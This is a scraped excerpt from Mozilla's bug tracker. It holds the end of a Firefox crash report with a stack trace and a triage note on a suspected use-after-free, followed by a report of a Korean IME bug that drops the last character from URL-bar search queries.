5 xul.dll mozilla::dom::ScriptLoader::ProcessPendingRequests dom/script/ScriptLoader.cpp:3287
6 xul.dll mozilla::detail::RunnableMethodImpl< xpcom/threads/nsThreadUtils.h:1240
7 xul.dll mozilla::SchedulerGroup::Runnable::Run xpcom/threads/SchedulerGroup.cpp:146
8 xul.dll mozilla::TaskController::DoExecuteNextTaskOnlyMainThreadInternal xpcom/threads/TaskController.cpp:515
9 xul.dll mozilla::detail::RunnableFunction<`lambda at /builds/worker/checkouts/gecko/xpcom/threads/TaskController.cpp:85:7'>::Run xpcom/threads/nsThreadUtils.h:577
```
This appears to be a use-after-free crash. 64-bit crash reports appear to be crashing on address 0xffffffffffffffff but that's a side-effect of bug 1493342. They're really crashing on the full poison pattern 0xe5e5e5e5e5e5e5e5, opening the raw dump for them will show at least two registers holding it.
There's a few reports in Firefox 82 and I'm not sure what to make of them because it appears to have started in nightly where there's significant volume. The first affected build has buildid 20201021213007.
|
|
1,673,669 | 15,102,945 |
Created attachment 9184010
bugreport.png
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Steps to reproduce:
While using Korean IME, the last character is highlighted with blue or white background to notify that more vowels or consonants might be combined with this letter. The error occurs when typing search query word with Korean in urlbar while last word highlighted, pressing enter. It only happens on narrow condition. The condition can be reproduced only when:
0) As described, the last word should be highlighted by Korean IME. Copy & paste Korean words does not reproduce the bug.
1) The search query word should include space
ex) "한국어위키"(X), "한국어 위키"(O)
"한국서버"(X), "한국 서버"(O)
2) The last word's length of the search query should be even. Words in odd length seems to have no problem so far.
ex) "한국어 파이썬"(X), "한국어 자바스크립트"(O)
3) The last word does not require to be in combined form. Typing only ㅁ or ㅏ or anything can reproduce it.
ex) "ㅁㄴㅇㄹ ㅇㅇㅇㅇ"(O), "ㅁㅁㅁㅁ ㅁㅁ"(O)
Actual results:
The highlighted word is ignored, and the the query word is sent without the last letter.
ex) "한국어 위키" -> "한국어 위"
"자바스크립트 강좌" -> "자바스크립트 강"
"파이썬 알고리즘" -> "파이썬 알고리"
"ㅁㄴㅇㄹ ㅇㅇㅇㅇ" -> "ㅁㄴㅇㄹ ㅇㅇㅇ"
"ㅁㅁㅁㅁ ㅁㅁ" -> "ㅁㅁㅁㅁ ㅁ"
The symptom also occurs whatever language is located before.
"javascript 구문" -> "javascript 구"
Expected results:
The search query should be sent with highlighted last word
|
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